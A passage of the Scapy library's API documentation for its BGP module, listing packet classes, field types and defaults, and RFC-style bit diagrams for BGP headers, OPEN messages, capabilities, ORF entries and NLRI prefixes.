                           Fig. GRTuple                           


GRTuple fields






	afi

	ShortEnumField

	0



	safi

	ByteEnumField

	0



	flags

	ByteEnumField

	0















	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |     LENGTH    |RESTART|      RESTART TIME     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. BGPCapGracefulRestart                    


BGPCapGracefulRestart fields






	code

	ByteEnumField

	64



	length

	ByteField

	None



	restart_flags

	BitField  (4 bits)

	0



	restart_time

	BitField  (12 bits)

	0



	entries

	PacketListField

	[]











	
match_subclass = True

	








	
class scapy.contrib.bgp.BGPCapMultiprotocol(_pkt, /, *, code=1, length=4, afi=0, reserved=0, safi=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L689-L704]

	Bases: BGPCapability

This class provides an implementation of the Multiprotocol
capability.
References: RFC 4760


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |     LENGTH    |              AFI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |      SAFI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BGPCapMultiprotocol                     


BGPCapMultiprotocol fields






	code

	ByteEnumField

	1



	length

	ByteField

	4



	afi

	ShortEnumField

	0



	reserved

	ByteField

	0



	safi

	ByteEnumField

	0











	
match_subclass = True

	








	
class scapy.contrib.bgp.BGPCapORF(_pkt, /, *, code=3, length=None, orf=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L798-L816]

	Bases: BGPCapability

This class provides an implementation of the Outbound Route Filtering
capability.
References: RFC 5291


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |     LENGTH    |              ORF              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. BGPCapORF                          


BGPCapORF fields






	code

	ByteEnumField

	3



	length

	ByteField

	None



	orf

	BGPCapORFBlockPacketListField

	[]











	
match_subclass = True

	








	
class scapy.contrib.bgp.BGPCapORFBlock(_pkt, /, *, afi=0, reserved=0, safi=0, orf_number=None, entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L725-L767]

	Bases: Packet

The “ORFBlock” is made of <AFI, rsvd, SAFI, Number of ORFs, and
<ORF Type, Send/Receive> entries.


	
class ORFTuple(_pkt, /, *, orf_type=0, send_receive=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L731-L741]

	Bases: Packet

Packet handling <ORF Types, Send/Receive> tuples.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ORF TYPE   |  SEND RECEIVE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ORFTuple                           


ORFTuple fields






	orf_type

	ByteEnumField

	0



	send_receive

	ByteEnumField

	0















	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AFI              |    RESERVED   |      SAFI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ORF NUMBER  |            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPCapORFBlock                        


BGPCapORFBlock fields






	afi

	ShortEnumField

	0



	reserved

	ByteField

	0



	safi

	ByteEnumField

	0



	orf_number

	FieldLenField

	None



	entries

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L762-L767]

	








	
class scapy.contrib.bgp.BGPCapORFBlockPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L770-L795]

	Bases: PacketListField

Handles lists of BGPCapORFBlocks.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L775-L795]

	








	
class scapy.contrib.bgp.BGPCapability(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L636-L667]

	Bases: Packet

Generic BGP capability.


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L641-L647]

	Returns the right class for the given data.






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L660-L667]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L649-L658]

	Check that the payload is long enough (at least 2 bytes).










	
class scapy.contrib.bgp.BGPConf[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L37-L43]

	Bases: ConfClass

BGP module configuration.


	
use_2_bytes_asn = True

	








	
class scapy.contrib.bgp.BGPFieldIPv4(name: str, default: Any, fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L89-L134]

	Bases: Field

IPv4 Field (CIDR)


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L123-L124]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L126-L128]

	




	
h2i(pkt, h)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L98-L101]

	x.x.x.x/y to “internal” representation.






	
i2h(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L103-L107]

	“Internal” representation to “human” representation
(x.x.x.x/y).






	
i2len(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L112-L114]

	




	
i2m(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L116-L121]

	“Internal” (IP as bytes, mask as int) to “machine”
representation.






	
i2repr(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L109-L110]

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L130-L134]

	




	
mask2iplen(mask)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L94-L96]

	Get the IP field mask length (in bytes).










	
class scapy.contrib.bgp.BGPFieldIPv6(name: str, default: Any, fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L137-L177]

	Bases: Field

IPv6 Field (CIDR)


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L167-L168]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L170-L172]

	




	
h2i(pkt, h)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L144-L147]

	x.x.x.x/y to internal representation.






	
i2h(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L149-L152]

	“Internal” representation to “human” representation.






	
i2len(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L157-L159]

	




	
i2m(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L161-L165]

	“Internal” (IP as bytes, mask as int) to “machine” representation.






	
i2repr(pkt, i)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L154-L155]

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L174-L177]

	




	
mask2iplen(mask)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L140-L142]

	Get the IP field mask length (in bytes).










	
class scapy.contrib.bgp.BGPHeader(_pkt, /, *, marker=340282366920938463463374607431768211455, len=None, type=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L439-L473]

	Bases: Packet

The header of any BGP message.
References: RFC 4271


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L456-L462]

	Returns the right class for the given data.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MARKER                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. BGPHeader                          


BGPHeader fields






	marker

	XBitField  (128 bits)

	340282366920938463463374607431768211455



	len

	ShortField

	None



	type

	ByteEnumField

	4











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L472-L473]

	




	
payload_guess

	Possible sublayers:
BGPKeepAlive, BGPNotification, BGPOpen, BGPRouteRefresh, BGPUpdate






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L464-L470]

	








	
class scapy.contrib.bgp.BGPKeepAlive(_pkt, /, *, marker=340282366920938463463374607431768211455, len=None, type=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L534-L540]

	Bases: BGP, BGPHeader

KEEPALIVE message.


	
aliastypes

	








	
class scapy.contrib.bgp.BGPLargeCommunitySegment(_pkt, /, *, global_administrator=None, local_data_part1=None, local_data_part2=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2001-L2011]

	Bases: Packet

Provides an implementation for LARGE_COMMUNITY segments
which holds 3*4 bytes integers.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      GLOBAL ADMINISTRATOR                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        LOCAL DATA PART1                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        LOCAL DATA PART2                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. BGPLargeCommunitySegment                   


BGPLargeCommunitySegment fields






	global_administrator

	IntField

	None



	local_data_part1

	IntField

	None



	local_data_part2

	IntField

	None















	
class scapy.contrib.bgp.BGPNLRIPacketListField(name, default, ip_mode, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L272-L304]

	Bases: PacketListField

PacketListField handling NLRI fields.


	
cls_group

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L288-L304]

	




	
max_bit_length

	




	
no_length

	








	
class scapy.contrib.bgp.BGPNLRI_IPv4(_pkt, /, *, prefix=(0, '0.0.0.0'))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L230-L238]

	Bases: Packet

Packet handling IPv4 NLRI fields.


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L237-L238]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PREFIX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BGPNLRI_IPv4                         


BGPNLRI_IPv4 fields






	prefix

	BGPFieldIPv4

	(0, '0.0.0.0')















	
class scapy.contrib.bgp.BGPNLRI_IPv4_AP(_pkt, /, *, nlri_path_id=0, prefix=(0, '0.0.0.0'))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L252-L259]

	Bases: BGPNLRI_IPv4

Packet handling IPv4 NLRI fields WITH BGP ADDITIONAL PATH


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NLRI PATH ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PREFIX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPNLRI_IPv4_AP                       


BGPNLRI_IPv4_AP fields






	nlri_path_id

	IntField

	0



	prefix

	BGPFieldIPv4

	(0, '0.0.0.0')















	
class scapy.contrib.bgp.BGPNLRI_IPv6(_pkt, /, *, prefix=(0, '::'))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L241-L249]

	Bases: Packet

Packet handling IPv6 NLRI fields.


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L248-L249]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PREFIX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BGPNLRI_IPv6                         


BGPNLRI_IPv6 fields






	prefix

	BGPFieldIPv6

	(0, '::')















	
class scapy.contrib.bgp.BGPNLRI_IPv6_AP(_pkt, /, *, nlri_path_id=0, prefix=(0, '::'))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L262-L269]

	Bases: BGPNLRI_IPv6

Packet handling IPv6 NLRI fields WITH BGP ADDITIONAL PATH


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          NLRI PATH ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PREFIX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPNLRI_IPv6_AP                       


BGPNLRI_IPv6_AP fields






	nlri_path_id

	IntField

	0



	prefix

	BGPFieldIPv6

	(0, '::')















	
class scapy.contrib.bgp.BGPNotification(_pkt, /, *, error_code=0, error_subcode=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2333-L2350]

	Bases: BGP

NOTIFICATION messages end a BGP session.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ERROR CODE  | ERROR SUBCODE |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPNotification                       


BGPNotification fields






	error_code

	ByteEnumField

	0



	error_subcode

	MultiEnumField (Depends on 0)

	0



	data

	StrField

	None















	
class scapy.contrib.bgp.BGPORF(_pkt, /, *, when_to_refresh=0, orf_type=0, orf_len=None, entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2558-L2575]

	Bases: Packet

Provides an implementation of ORFs carried in the RR message.
References: RFC 5291


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|WHEN TO REFRESH|    ORF TYPE   |            ORF LEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ENTRIES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. BGPORF                            


BGPORF fields






	when_to_refresh

	ByteEnumField

	0



	orf_type

	ByteEnumField

	0



	orf_len

	FieldLenField

	None



	entries

	BGPORFEntryPacketListField

	[]















	
class scapy.contrib.bgp.BGPORFAddressPrefix(_pkt, /, *, action=0, match=0, reserved=0, sequence=0, min_len=0, max_len=0, prefix=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2435-L2448]

	Bases: BGPORFEntry

Provides an implementation of the Address Prefix ORF (RFC 5292).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ACT|M| RESERVED|                    SEQUENCE                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    MIN LEN    |    MAX LEN    |     PREFIX    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. BGPORFAddressPrefix                     


BGPORFAddressPrefix fields






	action

	BitEnumField

	0



	match

	BitEnumField

	0



	reserved

	BitField  (5 bits)

	0



	sequence

	IntField

	0



	min_len

	ByteField

	0



	max_len

	ByteField

	0



	prefix

	_ORFNLRIPacketField

	b''















	
class scapy.contrib.bgp.BGPORFCoveringPrefix(_pkt, /, *, action=0, match=0, reserved=0, sequence=0, min_len=0, max_len=0, rt=0, import_rt=0, route_type=0, host_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2451-L2467]

	Bases: BGPORFEntry

Provides an implementation of the CP-ORF (RFC 7543).


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ACT|M| RESERVED|                    SEQUENCE                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    MIN LEN    |    MAX LEN    |       RT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   IMPORT RT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |   ROUTE TYPE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           HOST ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. BGPORFCoveringPrefix                     


BGPORFCoveringPrefix fields






	action

	BitEnumField

	0



	match

	BitEnumField

	0



	reserved

	BitField  (5 bits)

	0



	sequence

	IntField

	0



	min_len

	ByteField

	0



	max_len

	ByteField

	0



	rt

	LongField

	0



	import_rt

	LongField

	0



	route_type

	ByteField

	0



	host_addr

	PacketField

	None















	
class scapy.contrib.bgp.BGPORFEntry(_pkt, /, *, action=0, match=0, reserved=0, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2393-L2410]

	Bases: Packet

Provides an implementation of an ORF entry.
References: RFC 5291


	
afi

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ACT|M| RESERVED|             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. BGPORFEntry                         


BGPORFEntry fields






	action

	BitEnumField

	0



	match

	BitEnumField

	0



	reserved

	BitField  (5 bits)

	0



	value

	StrField

	b''











	
safi

	








	
class scapy.contrib.bgp.BGPORFEntryPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2470-L2555]

	Bases: PacketListField

PacketListField handling the ORF entries.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2497-L2555]

	




	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2475-L2495]

	








	
class scapy.contrib.bgp.BGPOpen(_pkt, /, *, version=4, my_as=0, hold_time=0, bgp_id='0.0.0.0', opt_param_len=None, opt_params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L968-L999]

	Bases: BGP

OPEN messages are exchanged in order to open a new BGP session.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |             MY AS             |   HOLD TIME   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     BGP ID                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | OPT PARAM LEN |           OPT PARAMS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. BGPOpen                           


BGPOpen fields






	version

	ByteField

	4



	my_as

	ShortField

	0



	hold_time

	ShortField

	0



	bgp_id

	IPField

	'0.0.0.0'



	opt_param_len

	FieldLenField

	None



	opt_params

	BGPOptParamPacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L994-L999]

	








	
class scapy.contrib.bgp.BGPOptParam(_pkt, /, *, param_type=2, param_length=None, param_value=None, authentication_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L917-L961]

	Bases: Packet

Provides an implementation the OPEN message optional parameters.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PARAM TYPE  |  PARAM LENGTH |          PARAM VALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      AUTHENTICATION DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. BGPOptParam                         


BGPOptParam fields






	param_type

	ByteEnumField

	2



	param_length

	ByteField

	None



	param_value

	PacketField (Cond)

	None



	authentication_data

	PacketField (Cond)

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L947-L961]

	








	
class scapy.contrib.bgp.BGPOptParamPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L892-L914]

	Bases: PacketListField

PacketListField handling the optional parameters (OPEN message).


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L897-L914]

	








	
class scapy.contrib.bgp.BGPPAAS4Aggregator(_pkt, /, *, aggregator_asn=0, speaker_address='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2028-L2037]

	Bases: Packet

Provides an implementation of the AS4_AGGREGATOR attribute
“value part”.
References: RFC 4893


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         AGGREGATOR ASN                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SPEAKER ADDRESS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BGPPAAS4Aggregator                      


BGPPAAS4Aggregator fields






	aggregator_asn

	IntField

	0



	speaker_address

	IPField

	'0.0.0.0'















	
class scapy.contrib.bgp.BGPPAAS4BytesPath(_pkt, /, *, segments=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1217-L1243]

	Bases: Packet

Packet handling the AS_PATH attribute value (4 bytes ASNs, for new
speakers -> ASNs are encoded as IntFields).
References: RFC 4893


	
class ASPathSegment(_pkt, /, *, segment_type=2, segment_length=None, segment_value=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1224-L1239]

	Bases: Packet

Provides an implementation for AS_PATH segments with 4 bytes ASNs.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
